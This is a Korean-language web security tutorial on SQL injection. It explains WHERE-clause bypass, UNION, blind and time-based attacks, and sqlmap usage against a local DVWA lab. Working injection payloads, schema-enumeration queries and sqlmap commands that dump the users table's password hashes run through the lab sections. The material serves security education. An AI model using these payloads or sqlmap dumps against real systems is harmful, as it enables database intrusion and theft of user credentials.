SQL 인젝션 공격으로 인한 사례는 셀 수가 없을 정도입니다. 잘 알려진 사례로 011년 소니의 데이터베이스가 SQL 인젝션 공격을 당해 약 100만 명의 회원정보와 350만 개의 디지털 쿠폰 등이 공격자에게 유출되었습니다. 2015년에는 국내의 온라인 커뮤니티 사이트인 뽐뿌 사이트에서 SQL 인젝션 공격으로 190만 명의 회원정보가 유출되었습니다. 또 유명한 해킹 그룹인 어나니머스(Anonymous)가 WTO 세계무역기구에 속한 사이트를 SQL 인젝션 공격으로 수천 명의 재직자 정보를 유출한 사례도 있습니다.

SQL 인젝션 공격 개요

SQL 인젝션 취약점은 웹 서버 영역의 데이터베이스로 전송되는 SQL 쿼리문을 사용자가 임의로 조작할 수 있는 경우 발생합니다. 공격자는 이 취약점을 이용하여 데이터베이스에 저장되어 있는 다른 사용자의 개인정보 등 허가되지 않은 정보에 접근하거나 데이터를 변조할 수 있습니다.

SQL 인젝션 공격의 두 가지 사례
  • WHERE 구문 우회
  • UNION 공격

예를 들어 회원 ID를 입력하여 회원정보를 조회할 수 있는 웹 페이지가 있다고 가정해 봅니다.

그림 3-2-1정상적인 웹 요청 및 SQL 쿼리문

그림 3-2-1에서 사용자는 ID가 1인 사용자 정보를 요청하고 있습니다. 이 요청을 받은 웹 애플리케이션은 내부의 데이터베이스로 다음과 같은 SQL 쿼리문을 전송합니다.

SELECT name, email FROM users WHERE ID='1'

쿼리문을 보면 WHERE 조건문이 있고 사용자가 입력한 ID값 1인 사용자의 이름(name)과 이메일(email)을 가져오는 쿼리문입니다. 쿼리문을 전달받은 데이터베이스는 쿼리문을 실행하여 ID가 1인 사용자 정보를 반환해주게 되고 이 정보는 클라이언트까지 전달됩니다.

이때 SQL 쿼리문을 구성하는 웹 애플리케이션의 소스코드가 다음과 같다고 해봅시다.

$id = $_REQUEST[ 'id' ];

$query = "SELECT name, enmail FROM users WHERE id= '$id';";

사용자가 입력한 ID 파라미터의 값($id)이 쿼리문의 일부로 사용되고 있는데, 이런 경우 SQL 인젝션 취약점이 존재합니다.

다음 그림은 첫번째 SQL 인젝션 공격의 예로 WHERE 구문을 우회하여 공격하는 그림입니다.

그림 3-2-2SQL 인젝션 공격 - WHERE 구문 우회

공격자는 원래의 ID값 대신 SQL 쿼리문을 직접 조작하기 위해 다음과 같이 입력합니다.

1'or'1='1

이 값이 SQL 쿼리문에 그대로 삽입된다면 SQL 쿼리문은 다음과 같이 구성됩니다. 아래 붉게 표시된 부분이 공격자가 입력한 값입니다.

SELECT name, email FROM users WHERE id = '1'or'1'='1';

WHERE 이하를 자세히 보면 or 키워드가 함께 삽입되어 WHERE 문의 조건이 ID가 1(ID='1')또는 '1'='1'이라는 항상 참이 되는 조건이 되었습니다. 이렇게 되면 ID가 1인 데이터뿐만 아니라, 다른 데이터의 경우에도 항상 조건이 참이 되기 때문에 모든 사용자의 이름(name)과 이메일(email)이 공격자에게 전달됩니다.

이와 같이 공격자가 입력할 수 있는 입력값에 아무런 제한이 없고, 그 입력값이 SQL 쿼리문에서 그래로 실행된다면 SQL 인젝션 공격이 성공할 수 있습니다.

UNION 구문을 이용한 공격을 추가로 살펴보겠습니다.

그림 3-2-3SQL 인젝션 공격 - UNION 구문 활용

공격자는 or을 이용한 구문 대신에 UNION 키워드를 삽입하고 그 뒤에 사용자 이름과 패스워드를 요청하는 SELECT 구문(select name, pw)을 삽입합니다. 최종적으로 다음과 같은 SQL 쿼리문이 실행될 수 있도록 만드는 것입니다. 아래 붉게 표시된 부분이 공격자가 입력한 부분입니다.

SELECT name, email FROM users WHERE id = '1' UNION SELECT name, pw FROM users#'

전체 SQL 쿼리문을 보면 UNION을 사이에 두고 SELECT 구문 두 개가 위치하게 되었습니다. UNION은 합집합으로 두 개의 SELECT 구문의 결과를 모두 포함시키는 키워드 입니다. 따라서 위의 쿼리문이 실행되면, 앞의 SELECT 구문에 의해 출력될 ID가 1인 사용자 정보 외에도, 뒤의 SELECT 구문의 결과를 같이 포함하게 됩니다. 뒤의 SELECT 구문에는 WHERE가 따로 없기 때문에 users 테이블에 존재하는 모든 사용자의 이름(name)과 비밀번호(pw)도 같이 결과로 반환됩니다.

한 가지 주목할 부분으로 쿼리문 끝에 #이 삽입되어 있습니다. #은 MySQL 데이터베이스에서 #뒤에 오는 내용을 주석 처리하고자 할 때 사용하는 특수문자입니다. 위의 쿼리문에서 만일 #이 없다면, 가장 끝의 '문자로 인해 에러가 발생할 수 있습니다. '문자와 쌍을 이루는 다른 '문자가 없기 때문입니다. 따라서 공격자는 자신이 원하는 결과를 얻기 위한 쿼리문을 완성시키고 난 다음에는 #을 추가하여, 혹시 그 뒤에 있을지 모르는 다른 SQL 쿼리문은 주석 처리하여 공격자가 원하지 않는 명령문이 실행되거나 SQL 형식 에러가 발생하지 않도록 만들어주는 것입니다.

이와 같은 방법으로 UNION과 추가 SELECT 구문을 이용하면 공격자는 데이터베이스 내의 다른 테이블의 내용도 마음대로 조회할 수 있습니다. 따라서 UNION 공격을 이용하면 데이터베이스의 모든 정보를 알아낼 수 있습니다.

SQL 인젝션 공격 실습

실습목표

SQL 인젝션 공격의 WHERE 구문 조건을 우회하는 기법과 ORDER BY, UNION을 이용하여 데이터베이스에 저장되어 있는 정보를 획득해 봅니다.

WHERE 구문 우회

그림 3-3-1DVWA SQL 인젝션 실습 페이지

실습 페이지에는 사용자 ID를 입력하는 폼이 표시됩니다. 1을 입력하면 ID가 1인 사용자의 정보가 출력됩니다. ID가 1인 사용자로 admin 사용자가 출력되었습니다.

그림 3-3-2정상적인 폼 처리

이와 같은 웹 페이지가 있을 때, SQL 인젝션 공격에 취약한지 테스트해볼 수 있는 방법 중 가장 기본적인 방법은 '를 입력해보는 것입니다. 취약한 페이지의 경우 아래와 같이 SQL 관련 에러가 발생합니다.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

그 이유는 '를 입력하면 SQL 쿼리문이 다음과 같이 구성될 수 있기 때문입니다.

SELECT name, email FROM users WHERE id=''';

이 경우 따옴표의 쌍이 맞지 않아 형식(syntax) 에러가 발생하는 것입니다. 이와 같이 '를 입력했을때 SQL 형식 에러가 발생하면 그 입력은 SQL 쿼리문에 영향을 줄 수 있는 뜻이 됩니다. 이때 다른 입력값에 제한이 없다면 SQL 인젝션 공격이 성공할 가능성이 매우 높습니다.

다음 입력값을 입력해보겠습니다.

1'or'1'='1
참고처음과 마지막에 작은따옴표를 입력하지 않는 이유는 입력값을 문자열로 처리하는 SQL 쿼리문의 소스코드에 이미 작은따옴표가 존재하기 때문입니다.

그림 3-3-3모든 사용자 정보 출력

그림 3-3-3과 같이 admin 사용자 외에도 다른 사용자의 정보가 같이 출력되었습니다. 방금 입력한 값으로 인해 SQL 쿼리문이 조작되어 WHERE 조건문이 '1'or'1'='1'과 같이 항상 참이 되는 조건문이 됨으로서 모든 사용자의 정보가 출력됩니다.

ORDER BY 및 UNION 공격

UNION은 합집합이기 때문에 UNION을 사용하기 위해서는 원래의 SQL 쿼리문이 조회하는 SELECT 문의 칼럼 개수와 UNION 뒤의 SELECT 문에서 요청하는 칼럼 개수가 같아야만 합니다. 그렇지 않으면 형식 에러가 발생합니다. 따라서 UNION 공격을 성공시키기 위해서는 먼저 원래의 SQL 쿼리문이 몇 개의 칼럼을 반환하는지 알아내야 합니다.

칼럼 개수는 ORDER BY 구문으로 알아낼 수 있습니다. ORDER BY는 지정된 칼럼을 기준으로 결과를 정렬할 때 사용하는 키워드입니다. 일반적으로 웹 개발 시에는 칼럼 이름을 ORDER BY로 지정하여 정렬하는 경우가 많지만, 칼럼의 위치 인덱스를 이용하여 정렬하는 것도 가능합니다. 예를 들면 ORDER BY 1은 첫 번째 칼럼을 기준으로 정렬하고 ORDER BY 2는 두 번째 칼럼을 기준으로 정렬합니다.

그런데 ORDER BY 뒤의 숫자를 증가시켜 가다가, 전체 칼럼의 개수보다 더 큰 값을 입력하면 어떻게 될까요? 이때에는 정렬을 할 수가 없기 때문에 에러를 발생시킵니다. 이를 통해 전체 칼럼의 개수를 알 수 있게 됩니다. 에러가 발생하기 직전의 값이 칼럼의 개수가 됩니다.

아이디 폼에 1'ORDER BY 1# 을 입력해봅니다.

그림 3-3-4ORDER BY 1 입력 - 에러가 발생하지 않는다.

문제 없이 표시된다면 ORDER BY 뒤의 숫자를 증가시켜 보면 1'ORDER BY 3# 을 입력했을때 에러가 발생했다면 세 번째 칼럼으로 정렬할 때 에러가 발생하므로 전체 칼럼의 개수가 두 개 임을 알 수 있습니다.

Unknown column '3' in 'order clause'

다음과 같이 칼럼 개수를 두 개로 맞추어 입력해보면 UNION을 사용한 쿼리문이 에러 없이 실행됩니다.

1' UNION SELECT 1,2#

그림 3-3-5칼럼 두 개를 이용하여 쿼리문이 실행된다.

사용자 ID가 1인 사용자 정보와 함께 뒤에 UNION으로 추가한 결과가 표시됩니다. 위에서 입력한 내용 중에서 맨 앞의 1을 제거하여 UNION 결과만 표시하도록 할 수도 있습니다. 이 경우 UNION 앞의 SELECT 문이 SELECT ID="와 같이 되기 때문입니다.

참고로, SELECT문 뒤에 1,2와 같이 상수를 입력하는 것이 가능합니다. 이때에는 입력한 상수가 그대로 결과로 반환됩니다. 상수는 아무 값이나 입력해도 상관없지만, 위와 같이 1,2와 같이 입력하면 해당 숫자가 나타나는 위치를 보고 어떤 칼럼의 정보가 웹 페이지의 어느 위치에 나타나는지 확인하기 쉽습니다.

위 결과에서는 1번째 칼럼의 정보가 First name 뒤에, 2번째 칼럼의 정보가 Surname 뒤에 출력되는 것을 알 수 있습니다. 웹 애플리케이션이 어떻게 구현되어 있느냐에 따라 칼럼의 정보가 모두 웹 페이지에 표시되는 것이 아니기 때문에, 어떤 칼럼이 웹 페이지에 출력되는지도 이 방법을 이용하여 확인할 수 있습니다.

이제 본격적으로 획득하고자 하는 정보를 웹 페이지에 출력하도록 SQL 쿼리문을 조작하여, 데이터베이스 내의 각종 정보를 확인하고 초치종적으로 사용자 ID와 패스워드 등의 개인정보를 알아낼 수 있습니다.

Mysql 데이터베이스는 information_schpa 라는 데이터베이스에서 데이터베이스 이름, 테이블, 칼럼 정보 등을 관리하고 있습니다. information_schpa의 schpata 테이블로부터 schpa_name을 가져오는 SQL 쿼리문을 이용하면, 데이터베이스 이름을 알아낼 수 있습니다.

' UNION SELECT schema_name,2 from information_schema.schemata#

그림 3-3-6데이터베이스 이름이 출력된다.

데이터베이스의 이름이 모두 First name 뒤에 출력되고 있습니다. DVWA에서 사용하는 데이터베이스의 이름은 dvwa임을 추측할 수 있습니다. 또한 DVWA 외에도 drupageddon, bWAPP 등 다른 데이터베이스의 존재도 알 수 있습니다.

다음으로 dvwa 데이터베이스의 테이블 목록을 알아내기 위해 다음 내용을 입력합니다.

' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa'#

table_chema가 dvwa인지를 확인하는 조건을 주어 dvwa 데이터베이스의 테이블만 출력시키는 것입니다.

그림 3-3-7테이블 목록이 출력된다.

guestbook(방명록)과 users(사용자)라는 테이블이 출력되었습니다. 이제 사용자 테이블의 데이터가 궁금합니다. 이번에는 다음과 같이 입력하여 users 테이블의 칼럼 목록을 알아냅니다.

' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

그림 3-3-8칼럼 목록이 출력된다.

출력된 칼럼 중에서 user와 password 칼럼이 눈에 띕니다. 이 칼럼의 내용을 확인해 보겠습니다.

' UNION SELECT user,password from users#

그림 3-3-9사용자 이름과 패스워드 해시가 출력된다.

그림과 같이 사용자 이름과 패스워드가 출력되었습니다. 그런데 출력된 패스워드는 평문이 아닌 해시 값의 행태로 저장되어 있습니다. 개인정보의 보안을 위해 웹 애플리케이션은 이와 같이 패스워드를 쉽게 알아보지 못하는 값으로 저장해야만 합니다. 데이터베이스가 노출되어도 패스워드가 암호화되어 있으면 공격자가 패스워드를 쉽게 복원할 수 없기 때문입니다. 단 패스워드는 안전한 암호화 알고리즘을 사용하여 암호화되어야 하는데, 여기 실습 페이지에서 추력된 패스워드 해시들은 비록 평문으로 바로 나타나지는 않지만 쉽게 크래킹될 수 있습니다.

심지어 구글 검색이나 인터넷 사이트만 이용해서도 원래의 패스워드를 알아낼 수 있는 경우도 있습니다.

https://md5.gromweb.com/?md5=5f4dcc3b5aa765d61d8327deb882cf99

블라인드 SQL 인젝션 공격

실습목표

블라인드 SQL 인젝션과 일반 SQL 인젝션 공격의 차이를 알아봅니다.

앞서 실습했던 SQL 인젝션 실습 페이지와 동일한 화면이 표시 됩니다.

그림 3-4-1블라인드 SQL 인젝션 실습 페이지

먼저 블라인드 SQL 인젝션이 일반적인 SQL 인젝션과 어떻게 다른지 확인하기 위해 몇 가지 값들을 입력해 보겠습니다. 사용자 ID 입력란에 1을 입력하니, 그림 그림 3-3-2와 달리 사용자의 정보가 출력되는 것이 아니라, 이번에는 단지 사용자가 데이터베이스에 존재한다는 메시지만 표시됩니다.

그림 3-4-2사용자 ID가 존재한다는 메시지

'를 입력하면 SQL 형식 에러가 발생하는 것이 아니라 해당 사용자 ID가 데이터베이스에 없다는 메시지가 출력됩니다. 에러가 발생하지 않도록 처리하는 루틴이 구현되어 있음을 추측해볼 수 있습니다.

그림 3-4-2사용자 ID가 존재하지 않는다는 메시지

추가로 몇 가지를 테스트하여 입력란에 5를 입력해보면 1을 입력했을 때처럼 해당 사용자가 존재한다고 출력되고, 6을 입력하면 사용자 ID가 없다고 출력됩니다. 즉, 데이터베이스가 존재하는 정상적인 ID 값이 입력되면 사용자 ID가 존재한다는 메시지가 출력되고, 데이터베이스에 없거나 비정상적인 값이 입력되면 사용자 ID가 없다는 메시지가 출력되는 것으로 판단될 수 있습니다.

이것으로 비록 사용자 ID가 1에서 5인 사용자가 데이터베이스에 있다는 사실을 알수 있긴 했지만, 별다른 에러가 발생하지 않으니 이 폼을 처리할 때 SQL 쿼리문이 사용되는지 쉽게 알기 어렵습니다. 만일 SQL 쿼리문이 사용되고 우리가 쿼리문 조작이 가능하다고 하더라도, 그 결과가 이전처럼 웹페이지에 출력되는 것이 아니고 단지 사용자의 존재 유무를 알려주는 메시지로만 나타나기 때문에, 쉽게 정보를 빼내기도 어렵습니다. 따라서 이와 같은 상황에서는 일반적인 SQL 인젝션 공격이 성공할 수 없습니다.

그럼에도 불구하고, 만약 SQL 쿼리문이 실행된다는 것을 알아낼 수 있고 우리의 입력값에 따라 사용자의 존재 유무로 나타나는 결과가 달라지게 된다면, 블라인드 SQL 인젝션 공격을 시도해볼 수 있습니다.

일단은 SQL 쿼리문의 실행 여부를 알아내기 위해 테스트를 좀 더 진행해보겠습니다. ID가 1인 사용자가 존재한다는 것은 이미 알고 있으므로, 이를 이용해서 다음과 같이 입력해 봅니다.

1' AND 1=1#

AND와 그 뒤의 1=1이라는 항상 참이 되는 조건을 추가하여, 만약 폼의 입력값을 처리할 때 SQL 쿼리문이 실행된다면 AND 조건이 같이 처리되어 참이 될 수 있는 구문을 입력해본 것입니다. 반대로 SQL 쿼리문이 실행되지 않는다면, ID가 1이 아니라 1' AND 1=1#의 전체 문자열을 하나의 ID로 처리하게 되고 비정상적인 값으로 판단하여 '를 입력했을 때의 상황처럼 사용자가 없다는 메시지가 나와야 할 것입니다.

그림 3-4-3AND와 뒤의 참 조건 1=1을 입력했을 때 정상적인 값으로 처리한다.

사용자 ID가 존재한다는 메시지가 출력되었다면 AND 이하 구문이 SQL 쿼리문 내에서 처리된 것입니다. 이 사실만으로도 블라인드 SQL 인젝션을 의심해볼 수 있지만 좀 더 분명하게 확인해보기 위해 한 가지를 더 테스트해 봅니다. 다음과 같이 입력합니다.

1' AND 1=2#

그림 3-4-4AND 1=2를 입력하니 사용자가 없다고 출력된다.

이번에는 사용자가 없다고 출력된다면 AND 뒤의 1=2가 거짓되기 때문입니다. 이 의미는 AND 이후의 조건에 따라 결과가 바뀐다는 것이고, 다시 말하면 우리가 입력하는 값이 SQL 쿼리문을 통해 처리되고 있다는 것입니다.

이해를 돕고자 실습 페이지 아래의 View Source 버튼을 눌러 소스코드를 확인해보면 SQL 쿼리문이 사용된 것을 확인할 수 있습니다.

그림 3-4-5블라인드 SQL 인젝션 실습 페이지 소스코드

다음과 같이 SQL 쿼리문을 구성하고 있습니다.

SELECT first_name, last_name FROM users WHERE user_id = '$id';

우리가 And 1=1#을 추가로 입력하면 WHERE user_id='1' AND 1=1과 같이 전체가 참인 조건문이 되어 사용자가 존재한다고 출력된 것이고, AND 1=2를 입력하면 WHERE 구문이 거짓이 되어 사용자가 없다고 출력된 것입니다. 이와 같이 어떤 폼을 처리할 때 AND 등과 같은 연산이 실행되어 참과 거짓에 따라 그 결과가 다르게 구분되어 출력된다는 것은 SQL 쿼리문이 뒤에서 사용된다는 것을 알려주는 중요한 힌트가 됩니다.

이것으로 무엇을 할 수 있는가 하면, 비록 일반적인 SQL 인젝션 공격과 같이 특정 테이블의 결과를 모두 출력하는 것처럼 결과를 직접적으로 알아낼 수는 없더라도, "어떤 사용자가 웹사이트에 존재하는가?"와 같은 식으로 어떤 명제를 제시하고 그 명제가 참인지 거짓인지는 알아낼 수 있습니다. 이것을 이용하면 비록 시간은 오래 걸릴지 모르지만 "이 사용자는 존재하는가?", "문자열의 첫 번째 값은 a인가?"와 같은 내용을 확인하는 쿼리문을 반복 전송함으로써, 알아내고자 하는 정보를 결국은 알아낼 수 있게 됩니다. 이와 같이, 결과를 직접적으로 알 수는 없어도, 참과 거짓일 때의 결과 차이를 분석하여 어떤 정보를 알아내는 기법을 블라인드(blind) SQL 인젝션 공격이라고 합니다.

한편, DVWA처럼 참/거짓에 따라 응답 메시지가 달라지는 경우도 있지만, 어떤 경우에는 웹사이트에 출력되는 메시지조차 같은 경우도 있습니다. 이와 같은 경우에는 웹 요청이 응답되는 시간의 차이를 이용하여 참과 거짓을 구별해내는 방법을 시도해볼 수 있습니다. 예를 들면 결과가 참이 되도록 만들 경우에는 다음과 같이 AND와 함께 SLEEP 키워드를 이용하여 거짓인 경우보다 응답을 몇 초 늦게 오도록 만드는 것입니다. 참일 때에만 SLEEP() 함수가 실행되는 것입니다.

1' AND SLEEP(5)#

응답 시간을 확인해보기 위해 웹 브라우저에서 F12를 눌러 개발자 툴 창을 표시합니다. 네트워크 탭을 선택해 둡니다. 실습 페이지 폼에 위 내용을 입력하고 네트워크 탭을 보면 응답이 약 5초(5007ms) 정도 걸린 것을 확인할 수 있습니다.

그림 3-4-6개발자 툴을 이용한 응답 시간 확인

이번에는 데이터베이스에 존재하지 않는 사용자 ID 6을 입력해 봅니다.

그림 3-4-7조건이 거짓이 되는 상황에서는 SLEEP이 실행되지 않는다.

이번에는 응답 시간이 3마이크로초(3ms)로 바로 응답 되었습니다. 이것으로 6이라는 사용자는 존재하지 않는다는 정보를 알 수 있습니다. 이와 같이 조건이 참일 때에만 SLEEP 함수가 실행되어 응답이 지연되므로, 참과 거짓을 구분할 수 있게 되고 원하는 정보를 알아낼 수 있습니다.

이런 식으로 참과 거짓에 따른 결과의 차이가 어떤 식으로든 나타나기만 한다면, 공격자는 블라인드 SQL 인젝션 공격을 통해 원하는 정보를 알아낼 수 있습니다. 다만 블라인드 SQL 인젝션 공격을 손수 진행하여 많은 정보를 찾아내기에는, 일일이 쿼리문을 만들어야 하고 수많은 쿼리문을 실행해야 하기 때문에 시간이 많이 걸립니다. 따라서 블라인드 SQL 인젝션 공격의 경우 자동화 프로그램을 많이 이용하게 됩니다. 물론 일단 SQL 인젝션 공격도 자동화 프로그램으로 공격이 가능합니다.

sqlmap 자동화 공격

sqlmap은 SQL 인젝션 공격 프로그램 중 가장 대중적으로 사용되며, 오픈 소스 프로젝트로 현재에도 활발하게 개발되고 있는 프로그램입니다.

실습목표

sqlmap 프로그램을 이용하여 데이터베이스의 정보를 획득해 봅니다.

salmap -h 를 입력하면 사용법과 옵션을 확인할 수 있습니다. 여러가지 옵션이 있지만 그중에서 자주 사용되는 옵션을 살펴보면 다음과 같습니다.

SQL 인젝션 취약 여부를 알아내고자 할 때 사용하는 옵션
  • -u : 필수 옵션으로 공격을 시도할 URL을 지정한다.
  • --cookie : 로그인이 필요한 경우, 로그인하고 난 다음 발급된 세션 쿠키 값을 지정한다.
  • --data : POST 요청의 폼을 공격하고자 할 때 바디로 전달되는 베이터를 지정한다.
  • -p : 테스트할 파라미터를 지정한다.
  • --dbms : 데이터베이스의 종류를 알고 있는 경우 지정한다.(예. mysql)
SQL 인젝션 공격이 가능한 경우 데이터를 입수할 때 사용하는 옵션
  • --current-db : 현재 데이터베이스의 이름을 알아낸다.
  • --D : 데이터를 입수할 데이터베이스를 지정한다.
  • --T : 데이터를 입수할 테이블 이름을 지정한다.
  • --C : 데이터를 입수할 칼럼을 지정한다.
  • --tables : 데이터베이스의 테이블들을 알아낸다. 주로 -D 옵션과 같이 사용한다.
  • --columns : 데이터베이스의 칼럼들을 알아낸다. 주로 -D, -T 옵션과 같이 사용한다.
  • --dump : 데이터베이스의 정보들을 알아낸다.

sqlmap 프로그램을 사용하기 위해 필요한 필수 옵션은 -u URL 정보입니다. 또 로그인된 페이지에 SQL 인젝션 공격을 시도하는 경우에는 쿠키 정보도 필요합니다. 일단 이 두 가지가 있으면 SQL 인젝션 공격을 시도해 볼 수 있습니다.

URL을 확인하기 위해 사용자 입력 폼에 임의의 값 1이라는 숫자를 입력하고 Submit 버튼을 누릅니다. 주소창을 보면 요청을 전송한 URL이 표시됩니다. 이 URL을 -u 옵션의 값으로 사용하면 됩니다.

다음으로 쿠키 값을 확인합니다. 쿠키는 웹 브라우저의 개발자 도구(F12)의 콘솔(console)탭에서 document.cookie를 입력하면 확인할 수 있습니다.

그림 3-5-1개발자 도구를 이용한 쿠키 확인

주소창의 URL을 -u 옵션으로 지정하고 쿠키를 --cookie 옵션으로 지정하면, 실행할 명령어는 다음과 같이 구성됩니다.

sqlmap -u "http://192.168.75.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=907178b7e08d67c65e4c49bea8afa375"

옵션 값 중에 &나 #같은 특수문자가 있으면 터미널에서 명령어를 내릴 때 특수한 기능 문자로 사용되지 때문에, 위와 같이 옵션 값을 따옴표로 묶어주어야 합니다.

명령어를 실행합니다. 각종 메시지가 출력되기 시작합니다. 메시지의 중요도에 따라서 색깔과 굵기가 다르게 표시되며, 중요한 메시지일수록 좀 더 눈에 띄게 표시됩니다.

그림 3-5-2sqlmap 실행 시 출력되는 메시지. 중요도에 따라 메시지가 구별되어 출력된다.

결과 메시지 중에서 밝은 녹색으로 강조된 부분과 그 아랫부분을 살펴보겠습니다.

[20:59:42] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
id 파라미터가 SQL 인젝션 공격 가능성이 있다고 알려줍니다.
[20:59:42] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
id 파라미터가 크로스 사이트 스크립팅 공격 가능성이 있다고 알려줍니다.
[20:59:42] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
DBMS(데이터베이스 관리 시스템)의 종류가 MySQL로 보인다면서 다른 DBMS에 대한 테스트는 제외하기를 원하는지 물어봅니다. MySQL이 사용되는 것을 알고 있다면, 다른 DBMS에 대한 테스트는 제외해도 됩니다.

이 경우 Y를 선택합니다. 엔터만 입력하면 기본값으로 지정된 Y로 선택됩니다. 기본값이 대문자로 표시됩니다.

다음으로 다른 질문이 표시됩니다.

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
MySQL 관련 테스트를 모두 수행할 것인지 물어보는 질문입니다.

기본값인 Y를 선택해도 상관없습니다. 프로그램을 계속 실행하게 되면 다음과 같이 id 파라미터가 취약하다는 결과를 알려주며 다음과 같은 질문을 합니다.

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
다른 파라미터를 계속 테스트하기를 원하는지 물어보는 질문입니다.

이미 id 파라미터가 취약하다는 것을 알았으므로 N을 선택합니다. UNION 공격 실습을 통해 단 하나의 파라미터만 취약해도 모든 데이터베이스의 내용을 알아낼 수 있다는 사실을 배웠습니다.

최종적으로 다음과 같이 결과가 출력됩니다.

sqlmap identified the following injection point(s) with a total of 348 HTTP(s) requests:
348개의 요청을 사용하여 SQL 인젝션 취약점이 가능한 부분을 찾아냈다.
--- Parameter: id (GET)
id 파라미터가 다음 종류의 SQL 인젝션 공격에 취약하다
Type: boolean-based blind
참/거짓 기반(boolean-based)의 블라인드 SQL 인젝션
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: id=1' OR NOT 9308=9308#&Submit=Submit Type: error-based
에러 기반(error-based)의 SQL 인젝션
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND ROW(2718,6784)>(SELECT COUNT(*),CONCAT(0x71707a7071,(SELECT (ELT(2718=2718,1))),0x716b767171,FLOOR(RAND(0)*2))x FROM (SELECT 3679 UNION SELECT 4734 UNION SELECT 4479 UNION SELECT 8049)a GROUP BY x)-- jPpE&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind
SLEEP을 이용한 시간 기반의 블라인드 SQL 인젝션 공격
Payload: id=1' AND SLEEP(5)-- LeoX&Submit=Submit --- [21:16:34] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
웹 서버의 운영체제는 우분투 리눅스 8.04버전이다.
web application technology: PHP 5.2.4, Apache 2.2.8
사용된 웹 관련 기술은 PHP 5.2.4, 아파치 2.2.8 버전이다.
back-end DBMS: MySQL >= 4.1
백엔드의 DBMS는 MySQL이고 버전은 4.1 이상이다.
[21:16:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.75.131'
/root/.sqlmap/output/192.168.75.131 아래에 데이터가 저장되었다.
[*] shutting down at 21:16:34

이와 같이 sqlmap 프로그램을 이용해서 URL에 포함된 각 파라미터를 자동으로 테스트하여 SQL 인젝션 공격 가능 여부를 확인할 수 있습니다. 이와 더불어 웹 애플리케이션 개발 언어와 버전, 웹 서버, DBMS 버전 등의 유용한 정보도 알 수 있습니다. 마지막으로 프로그램을 실행한 결과를 디스크에 저장해두기 때문에, 아래에서 소개할 데이터 수집관련 명령어를 추가로 실행할 때 처음부터 테스트를 수행하는 것이 아니라 기존의 결과를 참조하여 빠르게 데이터를 수집할 수 있게 됩니다.

SQL 인젝션 공격이 가능한 것을 알게 되었다면 이제 추가 옵션을 이용하여 데이터베이스의 각종 정보를 수집할 수 있습니다. 먼저 이전에 실행한 명령 뒤에 --current-db 옵션을 주어 현재 데이터베이스의 이름을 알아낼 수 있습니다.

참고터미널에서 위 방향 화살표를 입력하면 이전에 실행한 명령어를 다시 사용할 수 있습니다.
root@kali:~# sqlmap -u "http://192.168.75.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=907178b7e08d67c65e4c49bea8afa375" --current-db

... 생략 ...

[21:32:09] [INFO] fetching current database
[21:32:09] [INFO] heuristics detected web page charset 'ascii'
[21:32:09] [INFO] retrieved: dvwa
current database:    'dvwa'
[21:32:09] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.75.131'

[*] shutting down at 21:32:09

출력된 결과의 후반부를 보면 dvwa라는 데이터베이스의 이름을 알아냈습니다. 만일 데이터베이스 이름이 None이라고 표시되면서 찾지 못하는 경우에는 로그인이 종료되지는 않았는지 점검해보기 바랍니다. 일정 시간 동안 접속하지 않으면 로그인이 종료되는데, 이 경우 이전에 SQL 인젝션 취약성 검사를 할 때 사용했던 쿠키 값을 더 이상 사용할 수 없게 됩니다. 이때에는 다시 로그인한 후 새로운 쿠키 값을 확인하여 --cookie 옵션에 적용시켜야 합니다.

이제 데이터베이스의 테이블 이름을 알아내도록 하겠습니다. 기존의 명령어에 --current-db 대신 -D 옵션으로 데이터베이스 이름 dvwa를 입력하고 --table 옵션을 추가로 지정하여 실행합니다.

root@kali:~# sqlmap -u "http://192.168.75.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=907178b7e08d67c65e4c49bea8afa375" -D dvwa --tables

... 생략 ...

[10:20:32] [INFO] fetching tables for database: 'dvwa'
[10:20:32] [INFO] heuristics detected web page charset 'ascii'
[10:20:32] [INFO] used SQL query returns 2 entries
[10:20:32] [INFO] retrieved: guestbook
[10:20:32] [INFO] retrieved: users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[10:20:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.75.131'

[*] shutting down at 10:20:32

dvwa 데이터베이스에는 guestbook(방명록)과 users(사용자) 테이블이 있는것을 확인할 수 있게 되었습니다. 이때 공격자 관점에서 생각해보면 사용자 정보로 보이는 users 테이블을 노리게 될 것입니다. 따라서 기존의 명령어에서 --tables 대신 -T 옵션으로 users 테이블 이름을 지정하고 --dump 옵션을 이용하여 지정한 테이블의 내용을 모두 추출합니다.

sqlmap -u "http://192.168.75.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=907178b7e08d67c65e4c49bea8afa375" -D dvwa -T users --dump

진행과정에서 sqlmap 프로그램이 패스워드 해킹 관련 정보를 찾게 되면 몇 가지 패스워드 크래킹과 관련된 질문이 주어집니다.

[INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

